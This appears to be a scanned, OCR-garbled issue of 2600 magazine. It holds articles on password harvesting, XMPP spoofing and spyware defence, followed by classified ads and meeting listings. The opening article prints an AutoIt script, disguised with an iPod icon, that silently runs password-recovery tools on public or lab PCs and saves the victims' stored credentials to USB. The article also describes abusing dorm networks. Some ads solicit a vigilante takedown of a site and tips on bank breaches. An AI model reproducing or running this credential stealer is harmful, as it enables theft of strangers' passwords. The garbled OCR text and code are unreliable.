stant messenger programs like Yahoo Messenger,
MSN Messenger, Irillian, and more.

Mail PassView (http://www.nirsoft .netjuti ls
- j mailpv.html) - Recovers t he passwords of pop­
ular email clients like Outlook Express, MS Out­
Look, Eudora, Mozilta Thunderbird, and more.

Protected Storage PassView (htt p:/ / www. nir
- soft .netjutilsjp spv.html) - DispLays all pass­
words and AutoComplete st rings stored in your

got a geek for a roommate, and shared his con­
nection. I had to clone my IP to his however, but
t he rest was the same. I accidentally shut the
school's network down for 15 minutes whiLe test­
ing some scripts, and guess who came knocking.
The IT guys recorded the offending IP and woke
me up from a fake sleep to "check out my com­
puter." I played dumb and they went away, but
not after changing my settings and tellinq me I
needed to pay for the net from then on.

Moral: Not all schools are this oblivious or
outdated. However it might be worth a try to look
around for fake or hidden panels if you live in a
dorm or a prewired apartment complex and check
for cables. Also t his year t hey changed the sys­
tem and it now requires your student ID number,
which is a whole other story and not hard to get
around since most use a nine digit num ber with
the first three being mostly the same for every­
one. Checkto see if your school is outdated and if
you can get free high speed net. (It should be
free anyway in myopinion.)

My ipod's dying .

-I
Protected Storage.

Network PassworCf"Recovery (httP~jj www.nir
" soft.netjutilsjnetwork_password_recovery.html)
- Freeware utility that recovers the network pass­
words stored byWindowsXP.... II

There is also a key finder and a history
browser if that's your thing. Put aLL of t hose pro­
grams into a folder on your MP3 playerjUSB de­
vice and get scripting. The script I wrote runs alL
four programs silently, dumps the results to text
files on the USB drive, creates one master text
file with a name correlating to the date time
stamp of when I ran it, then deletes the extrane­
ous files. I use t he timestamp as a name. That
way I can run it mu Lti pLe times on different PCs
without having to move files.

With AutoIt I compiled the script to an EX E
and assigned it an iPod icon. You can use any icon
you think wouLd be non-obvious. It's silent,
opens no windows, and takes about four seconds
to run.
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Run this on a public PC, at your computer lab,
or at your library and you will be amazed at the
amount of passwords and stored information you
come away with.

Now I should warn you, this is only for fun,

only to laugh at people who save their info on

public PCs, not for hacking or anything malidous.
Enjoy.

The script follows:
~un (@ComSpec & . / k .. . . \ Pa s s wo r d\So f t wa r e\PSPV. e x e / s t e x t
.. \Pa ssword \New\PSPV . txt " " @Sc r i p t Di r . @Sti HIDE)
sle ep(200) -

~un {@ComSpec & . I k .. . . \ Pa s s wo r d\So f t wa r e\ I M. e xe I s t e xt
.. \Password \New\ IM.txt " ' , @Sc r i p t Di r , @SW HIDE)
sleep(2 00) -

~un (@ComSpec & . / k K • • \ Pa s s word\ So f t wa r e\Ma i l . e xe I s t e x t
.. \Password\New\Mail.txt " ', @Sc r i p t Di r , @SW HID E)
sle ep(2 00) -

~un(@ComSpec , ' I k .. . . \ Pa s s wo r d\So f t wa r e\Ne t wo r k . e x e I s t e x t
.. \ Pa s s wo r d\Ne w\Ne t wo r k . t xt"· , @Sc r i p t Di r , @SW HI DE )
sle ep(1 0 00) -

~un(@ComSpec & • Ik "COPY •• \ Pa s s wo r d\ Ne w\ * . t x t . . \ Pa s s wo r d\ Ne w\ a l l . t x t " · ,
l e e p( 10 0 0)

Jim $DateTime, $Locat ion, $FileName
SDateTime = @YEAR & " _ ft & @MON & " _ ft & @MDAY & .. " & @HOUR & _ & @MI N &
" - " & @SEC
$Lo c ation = @Wo r k i ng Di r & ' \ new \'
SFileName = "a l l . t x t "
?i l eMOve($Locat ion & $FileName , $Location & $DateTime & " .log",l)
slee p ( 2 0 00 )

;<.un(@ComSpec & • Ik "del • • \Pas sword\N e w\ * .txt" ', @s c r i p t Di r , @SN_HI DE )
s l e ep{lO OO)

A Look at

JabberIIMPP
then establishes a connection with the authenti­
cation server and sends an XMl stream to it with
the information the Jabber server received from
the client (i.e.. when you log into Google's Jab­
ber server, ta lk.google.com, it opens a connec­
tion with mail.google.com to see if you have a
legitimate mailaccount).

When the client wants to send a message to
another user, it initiates a TCP connection and
sends data to the Jabber server, which either
routes an XMl stream of the message to anoth er
user on that messaging network or routes it to a
foreign messaging network server. This inher­
ently is good. Everything is routed through a sin­
gle server rather than setting up direct

by windwaker
windwakerl 0l@gmail.com

Afterthe release of Google Talk, whereGoogle
set up a Jabber server and released a Jabber
client, we should take a look at the possible de­
sign vulnerabilities in the protocoLJabber uses,
XMPP (Extensible Messaging and Presence Proto­
col). as over a thousand people were able to log
into the unannounced Google Talk server before
the program waseven released.

To log into a Jabber server, information is
sent in the form of user@domain/resou rce
(called a JID), followed by the password. This
data is sent through a rcpconnection, so sniff­
ing a password wouldn't be hard at all. The server
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connections with other users, giving clients more
power.

Aproblemwith this is that the protocol makes
everything too compartmentalized. For instance,
let's say that t here is a message that can be sent
through the Jabber server and into a foreign
messaging network that only crashes the foreign
messaging network's clients, or even its servers.
If t he data isn't cleaned properly when sent to
the Jabber server, then it could be the foreign
networks that the data is being sent to are at
risk. The Jabber server does not have enough in­
formation about the foreign network's server.
Therefore it can't be secure preemptively.

When a message is sent to a Jabber server,
the Jabber server creates an XML stream that it
sends to the client receiving the message. The
huge exploit here would be sending data directly
to a client while spoofing your hostname so that
it appears that you are the Jabber server. You
could appear as if you are anyone. However, one
could skip all authentication while logging into
the server.

Incompatibility between Jabber and foreign
networkservers couldalso be a major issue in the
future. If the foreign network's client programs

don't check if the data has been routed through
the authentication server, people could imitate
other users bysending information that mimics a
Jabber server and pretending that the data had
been authenticated aLready. This would work
both ways, too. Auser on a foreign network could
send information to Jabber servers while avoid­
ing authentication from the foreign network's
servers with the ability to skip the entire authen­
tication server process in the XMP P protocol. Two
messaging networks wou Ld have to share almost
total information about their servers to be able
to set up a secure, inter-networking messaging
service.And when there are corporations like AO L
that can't even keep their own networks fool­
proof, I do not see this happening.

While compatibility between foreign networks
seems convenient, a single user spoofing a for­
eign network server is a problem that the XMPP
protocol has not been able to get around and
cannot feasibly defeat. Fo r more information on
the XMP P protocol and the RF(, go to
htt p:/ /www,xmpp,org/,

by FreeRider
Over the last decade, spyware has progressed

from a simple application that generates pop-up
ads and scam email to a full-fledged security
threat. As advertising companies like 180 Solu­
tions and Ooubleclick continue to lose money,
the focus of spyware vendors is rapidly shifting
to covert means of deploying their applications
onto a system in order to continue revenue gen­
eration. In order to facilitate this, spyware devel­
opers are bringing in experts to design
applications that can slip through network secu­
rityand continue to subvert security measures by
embedding fail-safe mechanisms in the operating
system and changing application properties,
which the securityindustry is labeling "mutating"
and "hyper-mutating spyware." In addition, spy-

ware vendors are utilizing custom-coded attacks
that are designed to target a specific operating
system, browser, and, in extreme cases, corpo­
rate networks. The current methods of detecting
and removing spyware are quickly proving inef­
fective against custom-coded and mutating spy­
ware because the signature files utilized byyour
typical spyware removal tool cannot keep up with
the changing spyware applications. Furthermore,
once a threat has compromised a system, the
spyware application has the opportunity to stop
any security applications in use on the system.
Network securityadministrators will need to shift
their mindset on the spyware threat from it being
a simplenuisance to a full-blown security breach.
Utilizing layered security measures provides the
best means for stopping spyware at the front end
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(gateway) and detecting/removing threats that
penet rate the security perimeter.

Understan ding th e Threat
If you want to defeat t he spyware threat you

need to understand how the threat works. The
first concept to understand is the deployment
methodology. Most spyware installers actually
bundle a number of applications together which
results in the installer deploying adware. spy­
ware, and/or malware. Spyware insta llers com­
monly deploy through the followi ng methods:
opt-in installation (pays for "free software").
drive by installations (hidden scripts writt en into
web pages), AetiveXinsta llers, and browser ex­
ploits (MHTM l , JScript. etc.). Un like viruses, spy­
ware is written by a team of engineers wit h
financial backing which results in spyware com­
panies developing sophisticated applications.
Spyware applications will now embed themselves
into the OS to prevent uninstalling the spyware,
ret rieve updates fromthe Internet. and download
new applications in segments only to compile
them at a later time. So once the spyware in­
staller successfully deploys its payload, t he sys­
temis compromised.

Th reat Assessment
Rootkits are the latest buzz word in the spy­

ware sector. While the threat of rootkit bundling
is becoming mo re prevalent the existing mal­
ware threats are often overlooked. Spyware ap­
plications can bundle a number of applications.
including keystroke loggers, phone dialers,
packet sniffers, and remote control software.
More importantly, spyware is a covert th reat
which means it does not want to be found and
Ni LL be designed to evade detection.

Defeating the Threat
As I stated earlier. layered securityis the best

method for defeating spyware. which I classify
into the following categories: network. desktop
settings, and desktop applications.

Network: If you are running a firewall. lock
down the ports and block sites known to deploy
spyware. Also, turn up your logging to monitor
both inbound and outbound traffic. This will al­
lowyou to identify where an application is send­
ing requests on the Internet. If you are fortunate

enough to use a content filter or intrusion detec­
tion application, set it to search for malicious
scripts and applications. There are a number of
appliances on the market to lock down network
t raffic.

Desktop Settings: This is the second line of
defense that most people overlook. Start by lock­
ing down the browser settings so that t he com­
mon Internet browser options are not set to the
default low security level. Fo r my IEsettings, my
default settings are locked down to block Java,
ActiveX, blockall cookies, and prompt for down­
loads. If I have a site that I want to access that
requires ActiveX, Javasc-ipt. or cookies. I add it
to another zone onlyafter I research the site .

Desktop Applications: I run a combination of
anti-virus and anti-spyware applications. Most
anti-spyware applications are signature based.
However. t here are a couple out there that ente r
the realm of host-based int rusion prevention
(HIPS). These applications provide the best oe­
tection and removal of both known and mutating
spyware byanalyzing the behavior and context of
an application. Context, or manner in which the
application operates, provides additional para­
meters to determine if t he application is a poten­
tial threat . This allows you to identify such
potential threats and take action against t he ap­
plication, even if it does not match a known spy­
ware signature. Additionally, turn on the
real-time protection options in the anti-spyware
application to prevent browser hijacking. block
Activex. lock the regist ry. and checkthe memory
for running applications. Packet sniffers, network
monitors, and command line utilities provide de­
tailed information on the com munications chan­
nels opened by the spyware application.

To reiterate, spywa re is becoming an evasive
th reat, t hereby making t raditional means of
identifyi ng and removing it inadequate. By utiliz­
ing best practices for your network security and
incorporating layered security measures,you wi ll
be able to address the spyware issue before
it poses a significant threat to your network
integrity.

WRITERS WANTED
Send your orticle to orticle,,,,,LU~.CU,n (ASCIL text preferred; 'grophics' can 'be ',;
oncchedl .or moil it to us at 2600 Editorial Dept., PO Box 99 , Middle lsl~~d, NY,
n953~0099 USA. If you go the snail moil route, please try to include a CD copy ,
so we·:.90n'l ha~e to 'retype ,the '('hole 'thing if we decide touse it. . .'

Articl~s~~slnot ha~e already appeared in 'a nother publication or on thelntern~t.
Oncepublished in 2600, you mcy do whatever youplease with your art icle.
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Happenings
HOPE NUM BE R SIX. Time to mark you r cale ndars and can cel any
plans you may have alrea dy made for July 21, 22. and 23, 200 6
You will be in New YOlk City attend ing our s ixth hacker conference
It 's the only one that will ever take place in a year that's an anagram
of our own name I (Unl il 2060 at reest.) The re are simply no e xcuses
tor missing such an event. Deta ils at htlp :flw ww .hopa.ne t.

ForSale
J UST RELEASED! Feeling tired durin g those rate night hackin g
session s? Need a boost? If you answered yes. then you need to
reenergize with the totally new HaCk Music Volume 1 CO. The CO is
crammed with high ene rgy hacl\ music 10 gel you back on track. Or­
der tOOayby sending your name. address. city. state, and zip a long
withS151O: Doug Talley. 1234 Birchwood Drive, Moomouth. IL
61462 . This CD was assem bled solely for the reade rs of 2600 and
is not available anywhere else l
ADO A CONVERSATIO NAL USER INTERFACE to your website or
Windows-based software applica tions with Foxee . the friendly inter­
acnve arctic blue lox agent charac ter! In the rea l world. not eve ry­
one who navi gates your website or sonw a-e are expert hackers.
and some users need a little help. so xee is a hand-d rawn animated
cartoon character that will accep t input through vo ice comm ands,
text boxes, or a mouse. and interact with your users through text
animated gestures, and even digital speech to help guide them
through your software with ease ! soxee supports tan spoken tan­
guages and 31 wrilten languages. She can be adde d to your soft­
ware through C++ , VB6 . all .Net languages, vescect. JavaScnpt,
and many others! Nati vely com patib le with Microsoft Internet Ex­
plore r and can work with Mozina Firefox when used with a free plug­
in . See a tree demonstration and purchasing inlormatlon lor Foxee
at www. loxee.net
NET DETECTIVE, Whet her you~e jus1curocs. t~ to locat e or
l ind out about people lor persoo al or business re asons, or you'r e
looking lor peop le youvelallen out of touch with , Net Detective
make s it all poss ible! Net Detective is used wor1dwide by private in­
ves tigators and detec tives, as we ll as everyda y peop le who use 11 10
find lost relativ es, old high school and army buddi es , deadbeat par­
ents , lost loves . peop le tnat owe Ihem mone y, and just plain old
snooping around. Visit us today at IVww.ne1detective.org uk
JE AH .NET HAS UNIX SHELLS " reliable and affordabie Since
1999, Begi nners and advanced users co ntinua to love JEAH' s
FreeBSD shell accounts for performance-driven uptimes anc a huge
list of virtual hosts Your acco unt lets you store data . use IRC. SSH.
and emai l with com plete privacy and security, JEAH also offers fast,
stab le virtu al web hostii"19 and compl ete domain registra tion solu­
tion s, all at very competitive prices. Mention 2600 and rece ive setup
tees waived I Look 10 www.JEAH .nettortheexceptlonal service you
deserve.
CUSTOM T-SHIRTS: Why be EXACTLY like everyone else? Le t's
lace rt.we 're all individ Uals and there's a lilll e revolutionary in each
ot us. h's high time Ihat you rcnure this, and a hand Silk;screened
shirlleaturing you as Che Guevara is the perfect way 'o start. Ava il­
able on a wide variety 01qua.ty shirts WItha wide seectce ct ink;
colors. And for !hose who are lYIng life on the cheap, we aec offer
heat transfer shirts in a ~mlted number of coors. ViSit
hlt p :llmeguevara.com . OV ERSTOCK: We tound a Ilm~ed numb er ot
"Hello My Nam e Is and I'm a Hacke r" shirts left over trom
BeYOl"ld HOPE in 1997. Each shirt ships wilh a Sharpre so you can
add your own name , handle, mon iker, nom de plum or paw print.
See our speci als secncn lor more detail s
REAL WORLD HACK ING: Interested in rooftops. steam tunnels.
anc the like? Read the all-new Access All Areas, a gUidebo ok to the
art Of urban explorat ion, from the author of Infillration nne. Send
$20 postpaid in the US or canaee, or $25 overseas, to PO Box 13,
Station E. Toronto , ON M6H 4E1 , Can ada, or order online at
www.infil1ration.org
ENH ANCE OR BUILD YOUR LIBRAR Y with any of the follow ing
CO ROMS: Hack AttackS Testing, Computer sorensc s. Master
Hacker, Web Spy 200 1, Hackers ' Handbook, Troubleshoot ing & Ds­
agnos tic s 98. PC 'rroot sesrccier 2000 . Forbidden Subjec ts 3. Bac k­
ers Toolk il 2.0. Steal ThiS CD . Hacks & Cracks, Hack erz Kronicldez.
Elite Hackers Toolk it I , Forbodden KnoIvl edge 2, Troubleshoo ting &
DiagoosbC'S 2002 , Pol ice Cal Frequency Guide 2nd Edlhon , Cern ­
peter Toybox, Answering Machine 2000 . Hack ers Encyclopedi a 3,
Maximum Secu rity 3.d Editiofl , Network Utilities 2001 , Scseens avers
2002, Eng ineering 2000, Anti-Hacke r Toolk it 2nd Editioo s PC Hard-

ware . Send name. address . city. state. zip. email address (lor up­
dates only) and items ordered . alon g with a cash ier's cneo, or
money order in the amount 01$20 for each Item to: Doug Talley.
1234 Birchwood Drive. Monmouth. IL 61462
HACKEA STICKERS.COM has a whole new collec tion of hacker
gear for yo ur needs, t-shirt s. caffeine to lockpick sets, Come visit
the website to order
FREEDOM DOWN TIMEON DVDI Years ln the making but we hope
it was worth the wait A double DVD set that inc ludes the two hour
docume ntary. an in-depth il"lterview wi1h Kevin Mitnick, and nearly
three hours of extra scenes. lost footage . and miscellaneous stuff.
Plus captioning for 20 (that's right. 20) languages, commenlary
track . and a lot of things you ' l JUSI have to lind for your self ' The en­
lire two esc set can be had by sendmq S30 to Freedom Downll me
DVD , PO Box 752. Middle Island. NY 11953 USA or by ordering
Irom our online store at hnp :llstore.2600 .com . (V HS copies 01the
fi lm still avai lable for 515.)
NETWO RKI NG AND SECURITY PRODUCTS available at Ov ation ­
Technology,com. We're a suppl ier 01 Network Securit y and Internet
PrIVacy products. Our online store features VPN and firewall hard­
ware, wireless hardware . came and OSL mod emslrouters, IP ac­
cess oavces. VolP crooucts. parental control prooucts. and
ethernet switch es. We pride ou rselves on prov iding the highe st level
01techn ical expertise and customer satisfaction , Our corn milment to
you... No surpri ses! Buy With confid ence! Security and Privacy is our
business' Vis it us at hltp: /iwww .OvationTechnology.co mls tore.htm
CAP 'N CRUNCH WHISTLES, Brand new, only a lew left. THE
ORIGINAL WHISTLE m mint cond ition, never used. Join the elite
few who own this treasure! Once they are qone. thai is it· the re are
no more! Keych ain hole lor keynng. Identify yourself al meet ings
etc. as a 2600 mem ber by dangling your keycha m and say ing noth­
ing. Cove r one hole and get exaclly 2600 re. cover the other hole
and get another frequency , Use bOth holes 10call your dog or dol­
phin. A lso. ideal for te lephone remote co ntrol cevces. Price in­
cludes mailing . 599 .95. Notonly a collector's nem bul a VERY
USE FUL ce vce :o carry at a~ times. Cash or money order only . Mail
to : WHIS TL E, P.O. Box 11562-ST, Cit Missou ri 63 105
ONLINE SERVICES. Web hos ling , cheap domains. great ded icated
servers. SSL certs . and a tot morel Check out www.Nob4.com
SPAM SHIRT.COM - take som e spa m and put it on a t·shirt. Now
avauebte in the U.S. I www.spamshi rt.com .

Help Wanted
BL ACK HATJWHITE HAT urgently needed I have ceeo scamrr ec
by a prc tes sionallockin q website offering novelty driver ncenses
along with discounts for multiple noveny licenses. w hen yo u upload
a picture and specifications, you get a "confirrn ation" with d irections
lo r sendmg your money "ONLY by w ester» Union." Aguy m Estonia
rece ives it. That is the last you hear of your money or anything elsel
This guy eV€1"I has another website "ral ing" his own scam website
as "good" and ratin g other similar scam websees he controls, a lso
as "good" WHAT NERVE I Every day he is vif:;!lmlzing thousands 01
people and sl ealing the ir mol"ley. Something needs to be done ! I
have some greal ideas and will furni sh the URL of the websi te. the
name he uses to receive the West ern Union moneytransfers , the IP
address on hiS emaus. and the URL cot the "reviewing websi te " Un­
fortuna tely I ecot have the techniCai ability to do anything about it . I
think there should be big flaslling red ratters across this sse: -.n-·US
IS A SCAM OP ERATION · AFTER YOU SEND YOUR WESTERN
UNIO N MONEY TRAN SFER, YOU WILL NEVER RECEI VE ANY­
TH INGr' On his "reviewing website" the rating should be chang ed
from "good" to "a scam " lor each of the Sites listed. Western Union
and the Coun try of Eston ia will no t do anything abou t this OUlright
fraud or each is so manifestly impotent that they are unab le to stop
this Internet fraud! Is there a BLAC K HAT out there who wan ts to
temporar ily switch hats. becom e a WH ITE HAT, and help?
iamawidow @yahoo com
CREDIT REPORT HELP NEEDED . Need some assistance remov­
ing negat;ve ucms off credi t reports. w;npay. All agencies
Please respo nd to skysight @spacemail.co m.

Wanted
HAVE KNOWLEDGE OF SECURITY BREA CHES at your bank.?
Heard rumor s 01cracked customer dataoases? Know there are un­
addressed vuinerabl litieS in a retailer'S credit card network. 001115
manaqement oce sn't know or care? We want your lips . We are a
eosoess new slett er focusing on security issues in the financi al in­
dustry: IT security, privacy. regulatory compli ance . idenlr ty-Ihelt and
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Prison, PO Box 921, Imperial, CA 92251-092 1
IN SEARCH OF NEW CONTACTS every day. I have a lot of time to
pass and am alwa ys up for a good discus sion , Join t source audit
anyone ? Of course it'll have to be on paper Interests not limited to
low-leve l OS cod irlg , embedded sys tems , crypto . radiotelecom. and
conspiracy theory Will reply to all. Brian Salcedo #32130-039 , FCI
McKean. P.O. Box 8000 , Bradfo rd, PA 16701
88LO GAN "IS·CONNECTING . SrNIMI22 interested in doing some
serious networking Loo king tor read ing materials (mags, book s,
nowsrstt ors, zmns, etc.) to be sent my way. Love real wor ld hacking
Need ass istance on breaking free from the government mind sup­
pression of the state penal system. Pictures are more than welcome
and anything mailed is appreciated . Got ove r 3 in on 5 1/2 , Gel con ­
nectedl Brian Walden #5002 89, D,C,C.. 1181 Paddock Road ,
Smyrna , DE 19977.
OFFLINE OUTLAW IN TEX AS is looking tor any books Unixl Linux I
can get my hands on. A lso very interested in privacy in al l areas. If
yo u can point me in the right direction or feel like teaching an old
dog some new tricks, drop me a line, I'll answer auletters. Props to
those who already have , you know who yo u are. Wi lliam Lind ley
822934, 1300 FM 655, Rosharon , TX 77583-8604.
COMP UTERS IN AFRICA . I'm cu rrently building up a non-profit or­
gan ization dedicated to internat iona l coop eration related to com put­
ers . Main mandates of the program ate to provide com puter &
electro nic hardwa re, training, and solut ions to African soci eties that
arc arriving at their comput erization phase in order to leverage their
learning capabililies, give them free and uncensored Interne t ac­
cess, and help fhem organize their own soc ia l initiatives and net­
work s. French details can be found here:
htlp :l/razernet com/rockNroll!?p=11. I'll be in Burkina Faso in March
2006 for the first phase of my project. I'm loo king tor anyone who
ever went to Burkina Faso and still has cc ntacts there, anyo ne who
ever did some com puter-re lated work/help in Atrica, or simply any­
one who is interested in a project like that.
Email me: partymont real @hotmai l.com
ICEDRA GON FOUN DER OF XPH . I am most ly interested in finding
people and fellow hackers that remember me and my crew from
Daln et [irc.d al.n et). It you were a part of XPH on Dalnet or just
someone who used to stop by, please write me . I have been in
prison for the past two and a half yea rs and hav e lost contact with
mostly everyone, I still have seven and a hall years to go and would
like to locate and ta lk with all myoid friends, especially -ctmco,
DjF lipper. KOR NOGRAPHY, Chuco, Hackensh, cca rce c. MastarP,
»xcreoco. Flair, PacMan, arauy, Miss Angel, and ot co urse every­
one I didn't have room to mention! Also , any other hackers or
phreake rs that would like to write me, please do. I will respond to
ALlletlers, hackers or not Brandon Kaufman, #15111040 . 82911
Beach Access Hd. Umatilla , OR 97882.
IN SEARCH OF FRIENDs/CONTACTS: Fede ra lly incarcerated
WM, brow n eye slha ir, 6 '00", 200 lbs., 26 years o ld (for the taoes .
please send photos, wi ll do same), been in prison nearly 7 years
wilh a cou ple more to go . Interested in rea l world hacking not limited
to rooftops, [uruabando ned buildings, having FUN with safes, locks,
payohoncs , and anything novice-level from 2600 .Am looking for ad·
dresses of other hacker mags and underground, b-rate . indepen­
dent mov ie mags like Fango ria. Please send mags. addresses,
information , letters, and photos Will respond to all. Mycology, any­
one? Lei's talk! I love photos! Mail to : Henry French #44552-083,
PO Box 10 (Elkton FCI), Lisbon, OH 44432
CON VICTE D COMPUTER CRIM INAL in federal prison doing re­
sea rch on Asperger Synd rome preva lenc e in prison. Please write'
Paul Cuni 15287-014, Box 7001, Taft , CA 93268 .
SYST EM X HERE! I'm still incarcerated in Ind iana Dept. of cor-ee­
uoos tor at least 8 months and don't get many chan ces to stimulate
my mind. I do som et imes get ahold of books bul that requires know­
irlg the nte , ISBN#, and author. Any help would be great ! I am still
looking for ANY hackerrcornputer related intormation such as tutor i­
als, mags. zmes . newsletters , or fr iends to discuss anything l I'm
also looking for info on any security ho les in the Nove tl Netwo rk
client. Allletters wi ll be replied to no matter what ! I'm also looking for
autographs in hacker or real name tor a co llection I have started if
anyon e finds the time. DOM f need you to w rite again because the
return add ress was removed from your envelop e. All info and cont rr­
botons greatly appreciated. Joshua Steelsmith #113667, MCF·
IOOC. PO . Box 900 , Bunker Hill, IN 46914

ON LY SUBSCRIBERS CAN ADVERTISE IN 2600! Don 't even think
about try ing to take out an ad unless you subscribe! All ads are free
and there is no amount of money we wi ll accept for a non-sub ­
scriber ad. We hope that's clea r. Of course , we reserve the right to
pass judgmenl on yo ur ad and not pr int il if it 's amazirlgly stupid or
has nothing at all to do with the hacker world , We make no guaran­
tee as to the honesty, righteousness. sanity, etc. of the people ad­
vertising here. Contact them at your peri l. All SUbmissions are for
ONE iSSUE ONLYI If you want to run you r ad more than once you
must resubmit it each time. Don't expect us to run more than one ad
for you in a sing le issue either, Include you r address label/e nvelope
or a photocopy so we know you're a subscr iber. Send your ad 10
2 600 Marketplace. PO Box 99, Middle Island, NY 11953 Deadline
tor Summer issue 61t l06

Announcements

fraud, rr oney-launderinq. Wherever crimina l activity meets banks ,
'li e are there. You can remain anonymous , (Note: we will not print
rumors circulated by one person or group without obtain ing support ­
Ing evide nce or corro boration from other par nes.) Contac t
oenksccuntvnews w vaboo.com or call 212'564-897 2, ext. 102
IF YOU DON'T WAN T SOMETHING TO BE TRUE , does that make
it propaganda? When we're children and we don't want to listen , we
put our hands over our ears. As we grow up, we create new ways to
ignore things we don't want to hear. We make excuses . We look the
other way, We label things "propa ganda" or "scare tactics." But it
coesn't work. It doesn 't make the truth go away. Gove rnment and
corporate MIND CONTROL PROGRAMS are used to intimidate,
torture, and murder people globally. It may not be what you wan t to
near. But that doesn't make it any less t rue, Please visit and suppo rt
John Gregory Lambros by distribu ting this ad to free classi fied ad­
vernsmq sites and newsqrou ps globa lly. wwwbrazilboycolt.org
THANK YOU !

Services

:l FF THE HOOK is the weekly one hour hacker radio show pre­
~-:ed Wednesday nights at 7:00 pm ET on WBAI 99.5 FM in New
•y., City, You ca rl a lso tune in over the net at
_ ....,2600.com/omhehook or on shortwave in North and South
l.~e r i ca at 7415 khz. Archives of all shows dating back to 1988 ca n
ze 'ound at the 2600 site, now in mp3 tormat ! Shows from 1988·
?XJ5 are now availa ble in DVD·R Ior rnat for $30 ! Or sub scribe to
t-e new high quality audio service for only $50, Each month you' ll
;.=: a newly released year of "Off The Hook" in broadcast quality (far
ce - er man previous on lirle releases). Send check or money order to
25C0 , PO Box 752 , Middle lstand. NY 11953 USA or order throu gh
:>..' online store at http.ssiore.zsuu.co m. Your feedback on the pro­
;ram is always welcome at oth @2600,co m.
co YOU WANT ANOTHER PRINTED MAGAZINE that compte­
- 0=1:S 2600 with even more hackirlg information? Binary Revolution
" a magazine trom the Dig ital Dawg Pound about hacking and tech­
-ocqy Specifically, we loo k at underground topics of technology in­
:: _c ng: Hacking, Phreaking, Security, Urban Exploration , Digital
="'~:s. and more For more inlormation, or to orde r your printed
:::xJy online, visit us at http://www binrev.com/·Nhereyou\.l ill also
~ ...c instruct ions on mai l orders. Welcome to the revolut ion!
~ONE PHUN. http://phonephun,us, Blog devoted to interest ing
:r=e numbers. Share your finds!
::l-i RISTIAN HACKERS' AS SOCIATION: Chec k out the webo eue
~:Jlwww ch r i s l i a n hacke r. or9 for details We exist to promote a
::;.<TolTlunity tor Christ ian hackers to discuss and impact the realm
e-e-e faith anc technology intersect for the purpose of see ing lives
c-e-ceo by God 's grace through faith in Jesus

Personals

SUSPECTED OR ACCUSED OF A CYBE RCR1ME IN ANY CALI ­
FORNIA OR FEDERAL COURT? Cons ult with sem antic warriors
committed to the liberation of informat ion, We defend human beings
' acing charges in crimin al court tor the follow ing: una uthorized com­
ooter access, theft of trade secrets, criminal copy right intrinqe ment,
,,~ d identity theft , Conta ct Omar Figueroa, Esq. and Valerio Ro­
- iano at (4 15) 986-5591, at omerres tantorcaiu mm.o rq. or at Sca
s-oacway, San Francisco, CA 94 133. Attor ney Figueroa is a gradu­
e:e of Yale College and Stanford Law School who has years of ex­
cenence defending hackers including Kevin Mitn ick; Mr. Rom ano is
a gifted netwo rk administrator w ho recent ly passed the bar. Oomph­
-t entary case consul tat ion for 2500 readers. All consultations are
'·.rictly conf idential and protected by the attorney-cl ient priv ilege
INTELLIGENT HA CKER S UNIX SHELl. Reverse.Net is owned
,,-1d operate d by intelligent hackers , We believe eve ry user has me
-:ght to online security and privacy. In toda y's nostue anti-hacker at-
-csonere. intelligent hackers require the need tor a secure place to
eo rk, compile , and explore without big-bro ther looking over their
s-o utoer. Hosted at Chicago Equ in ix with Jun iper Filtered DoS Pro­
.ecto n. Multiple FreeBSD serve rs at P4 2.4 ghz Affordable pr icing
'""xn $5/month with a money back guarantee, Lifet ime 26% discount
;y. 2600 readers. Co upon code : Save260 0. http ://www.reverse.n et
.\NTI·CENSORSHIP L1NUX HOSTING. Kaleton Internet provides
eaorcatue web hosting, email accounts, and domain registra tions
casec on dual processor P4 2.4 GHz Linux servers. Ou r hosting
c -ans start from only S895 per month. This includes support for
"y"J'lon , Perl, PHP, MySOL, and mom . You can now choose be,
~ee rl the USA Singapore, anc other offshore locations to avo id
ce--sorst up and guara ntee free spe ech. We respect yo ur privacy.
<eyment can be by E·Gol d, PayPal, credit card, ban k transfer, or
"' ~:e rn Union. See wwwjc ateton.com tor details .

:; LL IN THE JOINT. Only one more long year left off line Know n
~ Ap hebits , busted for hacking banks and unauthorized wi re trans­
-e-s I'm looking to hear from anyone in the free world. Interested in
:PI c eas for future employme nt. Put pen to paper now. Why wa it?

c " spond to all Jer emy Cushing #J51130 , Cen tinela State
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.vhat d oeE i t mean? HoI.' d o all

of' t h e Ee t.hd ngs t ie tOGether?

Come up w.i t h the b e Et \,'ay of'

phraEin~ it and w.i n a p rize!

Emai l puzz1.e@260 0.com
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IG ET INVOLVED!

ISPEAKI/'
It's not too Late to submit an idea for a taLk or paneL. SimpLy
email speakers@2600.com with as much detail as you can
provide. Go to the speaker submission section of
www.hope.net for more detaiLs.

~IVOLUNTEER I....
To become a voLunteer, meet Lots of cooL people, get a spiffy
t-shirt, and otherwise have a chance to really get invoLved with
the conference, send an email with your area(s) of expertise
and/or interest to voLunteers@2600.com.

";: ".,.,,' - --

IRE GIST E RI .iL-~n_~~
_.."---- - ------

Preregistration is now open for the conference which takes
pLace JuLy 21, 22, and 23 at the HoteL PennsyLvania in New
York City. The preregistration rate is $60. It WILL be more
expensive at the door. You can either register at store.2600.com
(credit cards and PayPaL accepted) or send us a check or money
order in U.S. funds to HOPE, clo 2600, PO Box 752,
MiddLe Island, NY 11953 USA.

Sp r ing 2 0 0 1:, - - - - -------- - P a g e £,1



New Mexico
Albuquerque: Unive<slty of New Mex­
ICO S\Udenl UnlOll BuildIng (plaza
~er'" Wlveflounge ), rna," campus
Pay;lhones: 505.-S4J.~. 5OS-M3­
9034. 5:30 pm.

New York
New Yor k: Cbgroup Ce~. In Ihe
lobby. near ee payphoroes. 153 E 53rd
SI. . between Lexington & 3rd

No rt h Caro lina
Char lott e: South Park Mall food court
7 pm.
Raleigh : Bil Players' Lounge . 745 W.
Johnson St

Nort h Dakota
Far90 : West Acres MaJllOOdcourt by

!he Taco .,101","&

"".
Clneln......ti : Tne Bre-...House. 1047
East "'cM~lan. 7 pm
Cleveland: UniverSl:YceeeAraboca.
11300 Junip er Rd. Upslarrs. lurn right.
second room OIl jett
Dayton, TGI Friday's off 725 by the
Dayton Mall

Ok lahoma
Oklahoma City: Cafe Bella. southeast
corner of SW 891h SI. and Penn.
Tulsa, Java ca ve s ceeeeShop on
Slst and Ha rvard_

0'.....
Port land : Backspaoce Cafe . 115 NW

5th Ave , 6 pm
Penns ylwan ia

Al lantown: Par.era Bread , 3100 West
T~ghman 51.6 pm.
Phil adelph ia: 30th SI Statto n. under
StaLrwel1 7 sign.
